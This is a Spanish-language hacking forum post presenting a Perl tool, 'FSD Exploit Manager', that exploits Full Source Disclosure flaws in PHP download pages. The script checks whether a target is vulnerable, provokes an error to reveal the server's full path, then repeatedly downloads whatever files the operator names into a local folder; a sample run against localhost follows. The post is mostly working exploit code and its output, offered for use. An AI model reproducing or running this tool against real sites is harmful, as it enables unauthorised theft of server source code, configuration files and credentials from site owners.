elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Perl] FSD Exploit Manager
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Perl] FSD Exploit Manager  (Leído 1,851 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Perl] FSD Exploit Manager
« en: 7 Octubre 2011, 01:14 am »

Un simple exploit que nos ayuda a explotar la vulnerabilidad Full Source Discloure de una forma muy relajante , lo bueno de este programa es que guarda todo lo descargado en una carpeta creada por el programa mismo.
Ademas detecta automaticamente Full Path Discloure para conocer las rutas necesarias para descargar
archivos.


Código
  1. #!usr/bin/perl
  2. #FSD Exploit Manager (C) Doddy Hackman 2011
  3.  
  4. use LWP::UserAgent;
  5. use URI::Split qw(uri_split);
  6. use File::Basename;
  7.  
  8. my $nave = LWP::UserAgent->new;
  9. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  10. $nave->timeout(5);
  11.  
  12. $SIG{INT} = \&adios;
  13.  
  14. head();
  15. if($ARGV[0]) {
  16. ver($ARGV[0]);
  17. } else {
  18. sintax();
  19. }
  20. copyright();
  21.  
  22. sub ver {
  23.  
  24. my $page = shift;
  25. print "\n[+] Target : ".$page."\n\n";
  26.  
  27. my ($scheme, $auth, $path, $query, $frag)  = uri_split($page);
  28.  
  29. if ($path=~/\/(.*)$/) {
  30. my $me = $1;
  31. $code1 = toma($page.$me);
  32. if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) {
  33. print "[+] Full Source Discloure Detect\a\n";
  34. $code2 = toma($page."'");
  35. if ($code2=~/No such file or directory in <b>(.*)<\/b> on line/) {
  36. print "\n[+] Full Path Dislocure Detect : ".$1."\n";
  37. }
  38. installer();
  39. while(1) {
  40. print "\n\nurl>";
  41. $SIG{INT} = \&adios;
  42. chomp(my $url = <stdin>);
  43. if (download($page.$url,"fsdlogs/".basename($url))) {
  44. print "\n\n[+] File Downloaded\n";
  45. system("start fsdlogs/".basename($url));
  46. }
  47. }
  48. } else {
  49. print "[-] Web not vulnerable\n\n";
  50. }
  51. }
  52. }
  53.  
  54. sub adios {
  55. print "\n\n[+] Good Bye\n";
  56. copyright();
  57. }
  58.  
  59. sub head {
  60. print "\n\n-- == FSD Exploit Manager == --\n\n";
  61. }
  62.  
  63. sub copyright {
  64. print "\n\n-- == (C) Doddy Hackman 2011 == --\n\n";
  65. exit(1);
  66. }
  67.  
  68. sub sintax {
  69. print "\n[+] Sintax : $0 <page>\n";
  70. }
  71.  
  72. sub toma {
  73. return $nave->get($_[0])->content;
  74. }
  75.  
  76. sub download {
  77. if ($nave->mirror($_[0],$_[1])) {
  78. if (-f $_[1]) {
  79. return true;
  80. }}}
  81.  
  82. sub installer {
  83. unless (-d "fsdlogs/") {
  84. mkdir("fsdlogs/","777");
  85. }}
  86.  
  87. # ¿ The End ?
  88.  

Un ejemplo de uso

Código:
C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
FSD Exploit Manager>fsd.pl http://localhost/down.php?down=


-- == FSD Exploit Manager == --


[+] Target : http://localhost/down.php?down=

[+] Full Source Discloure Detect

[+] Full Path Dislocure Detect : C:\xampp\htdocs\down.php


url>c:/aca.txt


[+] File Downloaded


url>c:/aca.txt


[+] File Downloaded


[+] Good Bye


-- == (C) Doddy Hackman 2011 == --




« Última modificación: 8 Octubre 2011, 18:58 pm por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Facebook Manager [ Perl ]
Scripting
leogtz 0 2,434 Último mensaje 31 Diciembre 2010, 00:45 am
por leogtz
[Perl] Mysql Manager
Scripting
BigBear 0 1,583 Último mensaje 7 Octubre 2011, 01:14 am
por BigBear
[Perl] Manager
Scripting
BigBear 0 1,514 Último mensaje 9 Octubre 2011, 17:50 pm
por BigBear
[Perl] Exploit DB Manager 0.6
Scripting
BigBear 0 10,014 Último mensaje 13 Febrero 2015, 17:43 pm
por BigBear
[Perl] FSD Exploit Manager 0.6
Scripting
BigBear 0 1,676 Último mensaje 20 Febrero 2015, 17:30 pm
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines